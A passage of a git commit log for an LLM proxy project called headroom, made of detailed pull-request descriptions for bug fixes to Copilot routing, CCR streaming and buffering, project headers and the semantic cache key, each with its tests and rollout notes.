`select_passthrough_base_url(proxy, headers, path)` →
`build_copilot_upstream_url` → `apply_copilot_api_auth` — across 7
deployment shapes (no config, `wrap vscode`, advertised
`endpoints.proxy`, operator override, GHE `.ghe.com`, GHE custom domain,
target already a completions host); (2) probed the three candidate hosts
unauthenticated with `curl -X POST
/v1/engines/gpt-4o-copilot/completions`; (3) round-tripped
`settings.json` through empty / one-setting / comments+array / CRLF
shapes asserting valid JSON, idempotency and clean removal.
- Observed result: before — `api.githubcopilot.com/...` (404 host), and
with `GITHUB_COPILOT_API_URL` set as `wrap vscode` sets it,
`api.business.githubcopilot.com` (also 404); no `Authorization` header
on the completions host. After —
`copilot-proxy.githubusercontent.com/v1/engines/gpt-41-copilot/completions`
with credentials attached in every public-Copilot shape,
`endpoints.proxy` and the operator override still winning, and a GHE
tenant staying on its own host. `settings.json` stays valid JSON in all
four shapes with the dead key gone; the two `restored=False` cases are
pre-existing whitespace/CRLF normalisation, identical on `main`.
Reverting the source fails 14 of the new tests, including the credential
test on the completions host.
- Not tested: no live VS Code session and no authenticated completion —
the 401 proves the endpoint exists, not that GitHub accepts our
forwarded request, which needs a real Copilot token. Confirmation from
@rganesh-msys is still wanted. **Enterprise remains unresolved by
default**: a GHE tenant stays on its own CAPI host, which is likely
still the wrong surface for completions, but staying in-tenant beats
forwarding keystrokes to a public GitHub host —
`GITHUB_COPILOT_PROXY_URL` is the exact fix and now takes precedence
over everything.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, and deliberately — the
completions destination moves from a host that answers 404 to the one
GitHub's own client defaults to. Only `/v1/engines/<engine>/completions`
is affected; every other path keeps its upstream, pinned by tests.
Copilot credentials now also reach the completions host, which is the
point.
- Kill switch / disable path: `GITHUB_COPILOT_PROXY_URL` pins the
destination explicitly and beats all inference.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; completions return to the CAPI host
(404) and the settings block regains the inert `overrideAuthType`.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Two things found while reading the extension source, **not changed
here**:

1. `advanced.debug.overrideProxyUrl` is **not** deprecated — the report
that Copilot 0.60.0 stopped honouring it does not hold. The current
canonical key is `github.copilot.internal.completionsUrl`, and
`advanced.debug.overrideProxyUrl` is checked as its explicit legacy
fallback (`getEndpointOverrideUrl` in
`completions-core/lib/src/networkConfiguration.ts`), so what we write
still works. Worth migrating to the `internal.*` keys eventually, since
they take precedence.
2. `endpoints.proxy` is still only recorded during a token exchange,
which is opt-in via `GITHUB_COPILOT_USE_TOKEN_EXCHANGE`, and the base
URL is chosen before auth runs. With the default now correct this is a
refinement for per-SKU hosts rather than a correctness requirement, so
it is left as-is.

Closes #3076

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 15:21:22 -07:00
Tejas Chopra 139c7cbdde fix(ccr): send Accept: application/json on a buffered stream:false turn (#3102)
## Description

Server-side CCR retrieval flips a `stream: true` turn to `stream: false`
so the whole upstream reply is in hand before answering. The **body**
was rewritten; the client's `Accept: text/event-stream` was **not**. The
request that went on the wire therefore contradicted itself — *"answer
as JSON"* in the body, *"I only accept SSE"* in the headers.

Anthropic's first-party API tolerates that, which is why this never
surfaced against it. GitHub Copilot's Anthropic-compatible gateway does
not, and answers with a generic `api_error`.

That is the reported shape exactly. An OpenCode session's **first** call
succeeds — no marker exists yet, so nothing is buffered. The **second**
call is the first to carry a redeemable `<<ccr:…>>` marker, so it is the
first to be flipped to buffered, and it fails. The reporter's own logs
show the correlation: every failed request carries
`mutation_reasons=…,ccr_streaming_retrieve_buffered_non_stream`.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/proxy/handlers/anthropic.py`: when the buffered CCR path
flips `stream` to `false`, the outgoing `Accept` header is set to
`application/json` to match. The lookup is case-insensitive and
**replaces** the existing header rather than appending, so exactly one
`Accept` goes upstream.
- `headroom/proxy/handlers/openai.py`: the **same fix on the
`/v1/responses` buffered path**, which has an identical `stream: false`
flip with no matching `Accept`. This handler is a GitHub Copilot path —
it calls `apply_copilot_api_auth` — so leaving it would have left the
reported bug live on a route the reporter can hit. Found during
self-review, not in the original diff.
- Same treatment for the Anthropic CCR continuation request, which is
non-streaming for the same reason and previously fixed only
`Content-Type`. Its header strip is now case-insensitive for
`Content-Type` as well, removing a latent duplicate-header path.
- `tests/test_buffered_ccr_accept_header.py`: 6 tests — the buffered
turn asks for JSON, exactly one `Accept` survives, mixed-case `Accept`
is replaced, a client sending no `Accept` still gets one, a non-buffered
streaming turn keeps `text/event-stream` untouched, and the OpenAI
`/v1/responses` buffered turn asks for JSON too.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_buffered_ccr_accept_header.py ......                          [100%]
6 passed

CCR-adjacent suites on this branch:
tests/test_buffered_ccr_accept_header.py, test_buffered_ccr_salvage.py,
test_buffered_ccr_grace_window.py, test_anthropic_streaming_ccr_retrieve.py,
test_ccr_buffered_stream_signed_thinking.py
41 passed

Full suite on this branch:
3 failed, 11216 passed, 581 skipped in 414.81s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `7ef736fb`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: Drove one streaming `/v1/messages` turn through
`create_app()` carrying a redeemable `<<ccr:…>>` marker and
`headroom_retrieve` in `tools` (so the buffered path engages), with the
client sending `Accept: text/event-stream`, and captured the exact
headers and body handed to the upstream call.
- Observed result: Before — `body.stream=False` sent together with
`accept: text/event-stream`, the self-contradicting request. After —
`body.stream=False` with `accept: application/json`, and a turn that is
not flipped still sends `accept: text/event-stream` unchanged. Reverting
only `headroom/proxy/handlers/anthropic.py` fails 3 of the new tests;
reverting the OpenAI hunk alone fails the `/v1/responses` test with
`['text/event-stream'] != ['application/json']`. Restoring both passes
all 6.
- Not tested: No live GitHub Copilot gateway call — I have no Copilot
credentials here, so the claim that Copilot rejects the contradictory
request is inferred from the reporter's logs plus the header mismatch,
not observed against their upstream. Confirmation from @mars-peng-lb on
a real OpenCode + Copilot session is still wanted before treating #3078
as fully closed.

Separately noted while reviewing, **not fixed here**:
`_should_buffer_openai_responses_stream_ccr` has no redeemable-marker
requirement, so the `/v1/responses` path still buffers on mere tool
presence — the #3071/#3092 narrowing was never mirrored from the
Anthropic handler. Worth its own issue.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Only on the buffered CCR path, and
only the `Accept` header, which is made consistent with the `stream:
false` body already being sent. Non-buffered turns are byte-identical,
pinned by a test.
- Kill switch / disable path: `--no-ccr` / `HEADROOM_NO_CCR` disables
the buffered path entirely (see #3082), as does
`ccr_handle_responses=False`.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; the buffered path returns to
forwarding the client's `Accept` unchanged.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Closes #3078

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 07:16:02 -07:00
Tejas Chopra 131b119c05 fix(ccr): make --no-ccr disable server-side response handling too (#3101)
## Description

`--no-ccr` advertises **"Disable CCR entirely"**, and its help text
names the case it exists for: *"streaming / non-MCP clients that can't
resolve an injected tool."* It mapped onto only two of the three CCR
subsystems — markers and tool injection — leaving `ccr_handle_responses`
on. That field has no flag and no env var of its own, so under
`--no-ccr` it was always `True`.

That mattered because the buffered `stream: false` path keys off
`headroom_retrieve` being present in the **request's** tools, and the
client can put it there itself — the bundled OpenCode plugin registers
it unconditionally. So `--no-ccr` left the buffered path fully armed for
exactly the clients it was recommended to, and any turn whose history
still held a redeemable marker kept being flipped to buffered.

This is why the workaround handed out in #2952 / #3017 / #3079 did
nothing for `headroom wrap opencode`.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/cli/proxy.py`: `--no-ccr` / `HEADROOM_NO_CCR` now also sets
`ccr_handle_responses=False`, so the switch covers all three CCR
subsystems rather than two.
- Rewrote the inline comment, which claimed the flag "disables both
halves at once" — there were three.
- `tests/test_no_ccr_disables_response_handling.py`: 5 tests covering
the flag→config mapping (flag, env var, and the untouched default), plus
the behaviour it buys — a client-advertised `headroom_retrieve` with a
redeemable marker no longer flips the turn to buffered.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_no_ccr_disables_response_handling.py .....                    [100%]
5 passed

Full suite (both Tier 1 fixes applied):
3 failed, 11220 passed, 581 skipped in 428.90s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `7ef736fb`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: Drove one streaming `/v1/messages` turn through
`create_app()` with the `--no-ccr` posture (`ccr_inject_tool=False`,
`ccr_inject_marker=False`), a client-supplied `headroom_retrieve` in
`tools`, and a redeemable `<<ccr:…>>` marker in the message — then
recorded the `stream` value that reached the upstream stub.
- Observed result: Before — upstream received `stream=False`; the turn
was buffered despite `--no-ccr`. Only setting
`ccr_handle_responses=False` stopped it. After — `headroom proxy
--no-ccr` and `HEADROOM_NO_CCR=1` both produce
`ccr_handle_responses=False`, and the same turn keeps streaming.
Reverting just `headroom/cli/proxy.py` fails the two mapping tests and
passes them again with it restored.
- Not tested: No live OpenCode + GitHub Copilot session; the reporter's
end-to-end confirmation is still wanted. The OpenCode plugin still
registers `headroom_retrieve` unconditionally — deliberately left alone,
since with this fix an advertised tool no longer causes buffering.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: No. Default (no flag) keeps
`ccr_handle_responses=True`, pinned by a test.
- Kill switch / disable path: This *is* the kill switch; the change
makes it work as documented.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; `--no-ccr` returns to disabling two
of three subsystems.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Closes #3082

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 07:15:55 -07:00
Parideboy 7ef736fb1a fix(ccr): make StreamingCCRHandler work on OpenAI streams (#3069)
## Description

`StreamingCCRHandler` (`headroom/ccr/response_handler.py`) was written
against the Anthropic wire format. Constructed with `provider="openai"`
it does not work: it silently drops the response, reports the wrong
`finish_reason`, and emits a stream shape no OpenAI client can read.
This PR fixes all three.

**Reachability, stated up front:** `StreamingCCRHandler` is exported
from `headroom/ccr/__init__.py` but no proxy handler instantiates it
today. Every live CCR path (`handlers/openai.py:4276`,
`handlers/openai.py:5936`, `handlers/anthropic.py`,
`handlers/gemini.py`) calls `CCRResponseHandler.handle_response` on a
non-streaming body instead. So these defects are not currently hit by
proxy traffic. They bite anyone importing the public
`headroom.ccr.StreamingCCRHandler` export, and they would bite the
moment streaming CCR gets wired up. I would rather fix them while they
are cheap than have them surface as a mysterious truncation bug later.

**This PR does not fix #1026.** I found these while investigating that
issue and they turned out to be unrelated to it. #1026 needs information
from the reporter before anyone can say whether Headroom is even in the
request path; I have asked for it there.

### The three defects

**1. The whole OpenAI response was dropped.**

`StreamingCCRBuffer.add_chunk` detected a tool call by scanning the
accumulated bytes for the literal `"type":"tool_use"`. That is
Anthropic-only. An OpenAI-compatible stream carries tool calls as a
`tool_calls` array inside `choices[].delta` and never emits that marker,
so `detected_ccr` could never become `True`.

Independently, `process_stream` decided the stream had ended by scanning
for `"stop_reason"`, another Anthropic-only field. An OpenAI stream has
no such field; it terminates with the `[DONE]` sentinel.

With neither marker ever matching, and nothing flushing the buffer once
the source iterator ran out, the outcome was:

- OpenAI stream under 10 000 bytes: **nothing at all was yielded**. The
client got an empty response.
- OpenAI stream over 10 000 bytes: chunks flushed in ~10 KB batches, and
the final sub-threshold batch was never flushed. The response visibly
stopped mid-sentence.

**2. `finish_reason` was hardcoded.**

`_reconstruct_openai_response` always returned `"finish_reason":
"stop"`, even when it had just finished reconstructing a non-empty
`tool_calls` array, where the OpenAI API requires `"tool_calls"`. A
client that drives its agent loop off `finish_reason` reads `stop`,
concludes the turn is over, and never executes the tool calls. The
Anthropic sibling `_reconstruct_anthropic_response` does this correctly,
carrying `stop_reason` through from `message_delta`.

It also discarded `id`, `object`, `created`, `model`, and `usage`,
returning a bare `choices` list that is not a valid `chat.completion`.

**3. `_response_to_sse` emitted the wrong shape.**

The OpenAI branch serialised the reconstructed **non-streaming** body
into a single SSE frame. A streaming client parses `choices[].delta`;
this frame has `choices[].message`. Both the text and the tool calls
were invisible to it.

### Why CI did not catch it

`tests/test_ccr_response_handler_extra.py` exercised
`_reconstruct_openai_response` but never asserted `finish_reason`, and
the one `process_stream` test that passed `provider="openai"` fed it
Anthropic-shaped bytes (`"type":"tool_use"` plus `"stop_reason"`). No
test had ever run a real OpenAI stream through this class. That test now
uses the real OpenAI wire shape, so it actually covers the path it
claims to.

## Type of Change

- [x] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to not work as expected)
- [ ] Documentation update
- [ ] Refactor / internal change

## Changes Made

All in `headroom/ccr/response_handler.py`:

- `StreamingCCRBuffer` gained a `provider` field (defaults to
`"anthropic"`, so existing construction is unchanged) and picks its
tool-call marker from it: `"type":"tool_use"` for Anthropic,
`"tool_calls"` for everything else. `StreamingCCRHandler.__init__` now
passes its own provider down.
- `process_stream` selects the end-of-stream marker by provider
(`"stop_reason"` for Anthropic, `data: [DONE]` for OpenAI), and **always
flushes whatever is still buffered once the source iterator is
exhausted**. That second part is deliberately unconditional on the
marker: upstream can truncate, a gateway can omit the sentinel, and a
future stream shape may not be recognised. Buffered bytes at that point
are real response data, so they get flushed rather than dropped.
- Removed the dead re-iteration block that followed the detection loop.
Its guard was `not detection_complete and not self.buffer.detected_ccr`,
and the only `break` out of the loop above required `detected_ccr` to be
`True`, so it could only ever be reached with an already-exhausted
iterator. The new flush takes its place.
- `_reconstruct_openai_response` derives `finish_reason`: `"tool_calls"`
when the message carries tool calls, otherwise the last non-null
upstream value (so a truncated turn stays reported as `"length"`),
defaulting to `"stop"`. It carries `id` / `created` / `model` /
`system_fingerprint` / `usage` through from the chunk envelope and
stamps `"object": "chat.completion"`. It also tolerates `"delta": null`
on a terminal chunk, which some OpenAI-compatible providers send instead
of `{}`, in the same spirit as #2467.
- New `_openai_response_to_chunks` splits a non-streaming
`chat.completion` body into proper `chat.completion.chunk` frames (a
role delta, a content delta, one delta per tool call, then a terminal
frame carrying `finish_reason`). `_response_to_sse` uses it and then
emits `[DONE]`. The Anthropic branch still delegates to
`StreamingMixin._response_to_sse` and is untouched.

Tests in `tests/test_ccr_response_handler_extra.py`:

- Seven new tests: OpenAI CCR detection on a `tool_calls` delta (plus a
non-CCR negative case), a short OpenAI stream passing through byte for
byte, a stream past the 10 000-byte flush threshold keeping its tail, a
stream with no `[DONE]` sentinel still flushing, `finish_reason`
becoming `"tool_calls"` with the envelope preserved, the upstream
`finish_reason` being kept when there are no tool calls, and
`_response_to_sse` emitting parseable chunk frames.
- `test_streaming_handler_falls_back_to_buffer_on_processing_error` now
feeds genuine OpenAI SSE bytes instead of Anthropic ones, so it
exercises the OpenAI detection path it was always meant to.
- `test_response_to_sse_formats` asserts the new chunk-frame shape for
OpenAI. The Anthropic half is unchanged.

No behaviour change for `provider="anthropic"` beyond the
end-of-iterator flush, which can only add data that was previously
discarded.

## Testing

- [x] Unit tests added/updated
- [x] Existing tests pass
- [ ] Manual testing performed
- [ ] Integration tests added

Each of the seven new tests was confirmed to fail against the unmodified
source (`git stash` on `response_handler.py` alone, tests untouched), so
they are genuine regression tests rather than assertions written to
match current behaviour:

```
$ git stash push -- headroom/ccr/response_handler.py
$ python -m pytest tests/test_ccr_response_handler_extra.py -q -k openai
FAILED tests/test_ccr_response_handler_extra.py::test_streaming_buffer_detects_ccr_in_openai_tool_calls_delta
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_ccr_yields_every_chunk
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_past_flush_threshold_keeps_the_tail
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_done_sentinel_still_flushes
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_marks_tool_calls_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_keeps_upstream_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_response_to_sse_emits_openai_chunk_frames
7 failed, 2 passed, 13 deselected in 0.79s
```

With the fix applied, the full CCR response-handler suite passes:

```
$ python -m pytest tests/test_ccr_response_handler_extra.py tests/test_ccr_response_handler.py -q
collected 57 items
tests\test_ccr_response_handler_extra.py ......................          [ 38%]
tests\test_ccr_response_handler.py ...................................   [100%]
============================= 57 passed in 1.74s ==============================
```

Wider CCR and streaming surface:

```
$ python -m pytest tests/ -k "ccr or streaming" -q
4 failed, 696 passed, 73 skipped, 10949 deselected, 2 warnings in 175.80s (0:02:55)
```

The 4 failures are pre-existing on a clean `upstream/main` and unrelated
to this change (verified by stashing both changed files and re-running
exactly those four):
`test_ccr_mcp_http.py::test_streamable_http_initialize_and_list_tools`,
`test_cli_proxy_env.py::TestCLICompressionOnlyFlags::test_ccr_defaults_on`,
and two in `test_transforms/test_smart_crusher_ccr_roundtrip.py`.

Lint and types:

```
$ python -m ruff check .
All checks passed!
$ python -m ruff format --check .
1505 files already formatted
$ python -m mypy headroom --ignore-missing-imports
Found 12 errors in 3 files (checked 521 source files)
```

Zero mypy errors in `headroom/ccr/response_handler.py`. The 12 are
pre-existing, in `ccr/mcp_server.py`, `memory/mcp_server.py`, and
`release_version.py`, none of which this PR touches (they come from a
locally installed `mcp` whose stubs differ from CI's).

## Real Behavior Proof

- Environment: Windows 11, Python 3.13.11, pytest 9.1.1, ruff and mypy
from the repo's pinned config, branch `fix/ccr-streaming-openai-path`
off `upstream/main` at `cbb950a4`.
- Exact command / steps: `python -m pytest
tests/test_ccr_response_handler_extra.py
tests/test_ccr_response_handler.py -q`; then `git stash push --
headroom/ccr/response_handler.py` and `python -m pytest
tests/test_ccr_response_handler_extra.py -q -k openai` to confirm the
new tests fail without the source fix; then `python -m pytest tests/ -k
"ccr or streaming" -q`; then `python -m ruff check .`, `python -m ruff
format --check .`, `python -m mypy headroom --ignore-missing-imports`.
- Observed result: 57/57 pass in the CCR response-handler suites with
the fix; all 7 new tests fail without it. The wider run is 696 passed
with 4 failures that reproduce identically on an unmodified tree. Ruff
clean, mypy clean on the changed file. In
`test_openai_stream_without_ccr_yields_every_chunk` the handler now
returns every input chunk byte for byte, where before it returned an
empty list.
- Not tested: no end-to-end run against a live OpenAI-compatible
backend, because no proxy handler instantiates `StreamingCCRHandler`
today, so there is no wired path to drive. Coverage is at the class
level using recorded-shape SSE frames. The Anthropic path is covered
only by the existing tests, which still pass unchanged.

## Runtime Rollout Safety

- Rollout-managed feature(s): none. `StreamingCCRHandler` is not gated
by a rollout feature and is not reachable from any proxy handler.
- Minimum rollout channel: not applicable; no rollout gate is involved.
- Stable/default behavior changed: no. For `provider="anthropic"` the
only behavioural difference is that bytes left buffered when the source
iterator ends are now flushed instead of discarded, which can only add
data the client previously lost. For `provider="openai"` the class was
non-functional, so there is no prior behaviour to preserve.
- Kill switch / disable path: not applicable; no new configuration, env
var, or feature flag is introduced.
- Unsafe override required: no.
- Qualification impact: none. No qualification-gated surface is touched.
- Rollback path: revert this commit. It is self-contained in
`headroom/ccr/response_handler.py` and
`tests/test_ccr_response_handler_extra.py`, with no schema, config, or
persisted-state changes.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Two judgement calls worth a reviewer's attention:

1. **Removing the dead re-iteration block** in `process_stream`. I am
confident it was unreachable (the only `break` above it requires
`detected_ccr`, which its own guard excludes), but it is the one
deletion in this diff rather than an addition, so it is worth a second
pair of eyes.
2. **The unconditional end-of-iterator flush.** I chose to flush
regardless of whether an end marker matched, rather than only fixing the
OpenAI marker. That makes the truncation bug unreachable even if a
future provider uses a shape neither marker recognises. The cost is that
a stream whose trailing bytes are genuinely not meant for the client
would now be forwarded. Given the buffer only ever holds upstream
response bytes, forwarding is the safer default, but flag it if you
disagree.

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 20:55:02 -07:00
Radhakrishnan Pachyappan eeb038bc0c fix(opencode): send x-headroom-project header on all proxied requests (#2868)
## Description

The OpenCode transport plugin set `HEADROOM_PROJECT` as a shell env var
for child processes but never forwarded it as `x-headroom-project` on
the actual proxied HTTP requests. The proxy's `classify_project` only
attributes traffic via `x-headroom-project` header or `/p/<name>` URL
prefix — without the header, every OpenCode request was unattributed and
the Per-Project Savings dashboard showed `0 project(s)` permanently.

Fixes #2847.

## Root cause

`installHeadroomTransport` was called with only `{ proxyUrl, debug }`.
The `project` value was computed and used only in the `shell.env` hook
(for subprocess env injection), never threaded through to
`mergeFetchHeaders` or `headersForNodeRequest`.

## Changes Made

1. Add `project?: string` to `InstallOptions` and `TransportState`.
2. Resolve the project value once at plugin init (`pluginOptions.project
→ input.project.id → input.directory`) and pass it to
`installHeadroomTransport`.
3. Both header-building seams now set `x-headroom-project` when a
project is present:
   - `mergeFetchHeaders` (wrapped `fetch` path)
- `headersForNodeRequest` (wrapped `http.request` / `https.request`
path)
4. Reuse the resolved `project` in the `shell.env` hook (removes the
duplicate resolution that was there before).

## Changes

- `plugins/opencode/src/transport.ts` — `InstallOptions.project`,
`TransportState.project`; `mergeFetchHeaders`, `headersForNodeRequest`,
`routedNodeOptions`, `withRoutedFetchInput`, `installHeadroomTransport`
updated
- `plugins/opencode/src/plugin.ts` — resolve `project` once, pass it to
transport; reuse in `shell.env`
- `plugins/opencode/src/transport.test.ts` — 3 new tests: project header
on fetch, project header on https.request, no header when project unset
- `headroom/providers/opencode/_dist/entry.opencode.js` — rebuilt with
`npm run build:standalone` to match source

## Testing

- [x] Unit tests pass
- [x] TypeScript typecheck passes
- [x] New regression tests added

### Test Output

```
cd plugins/opencode && npm test
# 17 passed (14 existing + 3 new)
```

TypeScript build also passes: `npm run typecheck` (no errors).

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring

## Real Behavior Proof

- Environment: OpenCode transport plugin test environment on the current
PR head.
- Exact command / steps: ran the plugin test suite and TypeScript
typecheck after rebuilding the standalone bundle.
- Observed result: all 17 tests passed, including project-header
coverage for fetch and Node HTTPS paths plus the unset-project control;
typechecking passed.
- Not tested: a live OpenCode session against a deployed Headroom proxy.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

---------

Signed-off-by: Radhakrishnan P <gingeekrishna@gmail.com>
Signed-off-by: Radhakrishnan Pachyappan <gingeekrishna@gmail.com>
2026-08-17 20:21:24 -07:00
Abhay Singh 2cae0f8eaf fix(proxy/cache): strip cache_control from messages in the semantic cache key (#3086)
## Description

The proxy semantic response-cache key (`compute_semantic_cache_key`)
strips `cache_control` from the response-shaping fields (`system`,
`tools`, ...) so that a moved prompt-cache breakpoint does not fragment
the key:

```python
{
    "model": model,
    "messages": messages,  # hashed verbatim
    **{k: strip_cache_control(v) for k, v in key_fields.items()},  # stripped
}
```

But `messages` was hashed **verbatim**. Messages are the primary key
component, and on the Anthropic path they are the most common place a
client (e.g. Claude Code) places and *moves* a `cache_control`
breakpoint between turns (on the last user turn / a `tool_result`
block). So two otherwise-identical requests that differed only in a
message-level breakpoint produced different keys and missed the semantic
cache — the exact fragmentation the `strip_cache_control` helper exists
to prevent, applied to everything except the field that matters most.

The existing tests pin the strip for `system`
(`test_cache_control_breakpoint_move_same_key`) and `tools`
(`test_tools_cache_control_ignored`), but never covered a message-level
breakpoint, so the gap went unnoticed.

## Fix

Apply `strip_cache_control` to `messages` as well. `cache_control` is a
prompt-caching directive for the upstream provider that never changes
the generated completion, so removing the annotation before hashing is
sound: message *content* still differentiates the key, and two requests
that differ only in a `cache_control` breakpoint now share the cache
entry (whose stored response body is identical either way).

The proxy carries two in-sync copies of this pure policy
(`semantic_cache_key_policy.py`, imported by the runtime
`SemanticCache`, and `semantic_cache_key.py`, imported by the policy
test); both are updated identically so they do not diverge.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/semantic_cache_key_policy.py` and
`headroom/proxy/semantic_cache_key.py`: hash
`strip_cache_control(messages)` instead of `messages`, with a docstring
explaining why message-level breakpoints must not fragment the key.
- `tests/test_proxy_semantic_cache_key.py`: added
`test_message_cache_control_breakpoint_move_same_key` (behavioral,
through `SemanticCache._compute_key`) and
`test_message_content_change_still_distinct_key` (guards that stripping
does not collapse genuinely different messages).
- `tests/test_proxy_semantic_cache_key_policy.py`: added
`test_semantic_cache_key_ignores_moved_message_cache_control` at the
pure-policy level.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_proxy_semantic_cache_key.py + tests/test_proxy_semantic_cache_key_policy.py  33 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 (both policy modules) -> Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted the two policy modules and ran the new
tests to capture the bug (`python -m pytest
tests/test_proxy_semantic_cache_key.py::test_message_cache_control_breakpoint_move_same_key
tests/test_proxy_semantic_cache_key_policy.py::test_semantic_cache_key_ignores_moved_message_cache_control`
-> both failed with two distinct SHA-256 keys for messages that differ
only in a `cache_control` breakpoint); restored the fix; re-ran both key
suites (`python -m pytest tests/test_proxy_semantic_cache_key.py
tests/test_proxy_semantic_cache_key_policy.py` -> 33 passed); ran the
wider `tests/test_cache/` suite and confirmed the only failures
(`test_client_integration.py`) reproduce identically on clean `main` and
are unrelated to this change; then `uvx ruff@0.15.22 format`, `uvx
ruff@0.15.22 check`, and `uvx mypy@1.20.2` on both modules.
- Observed result: before the fix, a request whose last message carries
`cache_control: {type: ephemeral}` hashes to a different key than the
same request without it; after the fix they hash identically (a cache
hit), while messages with different text still hash differently.
- Not tested: a live multi-turn proxy session measuring the hit-rate
improvement (the key contract is verified directly through
`SemanticCache._compute_key` and the pure policy, which is what the
runtime calls).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is the pure semantic-cache key
policy behind `SemanticCache`, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. Requests that
differ only in a message-level `cache_control` breakpoint now share a
semantic-cache key (a hit) instead of missing. No request that differs
in message content, model, or any shaping field changes key. Because the
cache key changes shape, any entries stored under the old (un-stripped)
keys are simply not reused and age out under the existing TTL/LRU — a
one-time cold start for the affected entries, never a wrong response.
- Kill switch / disable path: the semantic cache itself is already gated
by the existing cache-enable configuration; disabling it bypasses this
path entirely.
- Unsafe override required: no.
- Qualification impact: higher semantic-cache hit rate on the Anthropic
path where clients move `cache_control` breakpoints between turns; no
change to which distinct requests are considered equal beyond ignoring
the caching directive.
- Rollback path: revert this PR; the key returns to hashing messages
verbatim.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

Same class as the `system`/`tools` breakpoint handling already in place
(issue #327 kept the strip from fragmenting the key on a hit); this
extends it to messages, the primary key component. The two in-sync
policy copies are updated together to avoid divergence; consolidating
them into one module is left out of scope for this bug fix.
2026-08-17 20:21:17 -07:00
Abhay Singh 9ca5a16bde fix(proxy/anthropic): coerce present-null usage counters on the buffered backend path (#3084)
## Description

The buffered (non-streaming) Anthropic backend branch in
`handle_anthropic_messages` (`headroom/proxy/handlers/anthropic.py`) —
the path taken by Bedrock / Vertex / LiteLLM(anthropic) traffic — read
the response usage counters with a bare default:

```python
output_tokens = usage.get("output_tokens", 0)
...
cr_tokens = usage.get("cache_read_input_tokens", 0)
cw_tokens = usage.get("cache_creation_input_tokens", 0)
```

A backend can report these counters as JSON `null` (key **present**,
value null) rather than omitting them. For a present-null key
`dict.get(key, 0)` returns `None`, not the default `0`. That `None` then
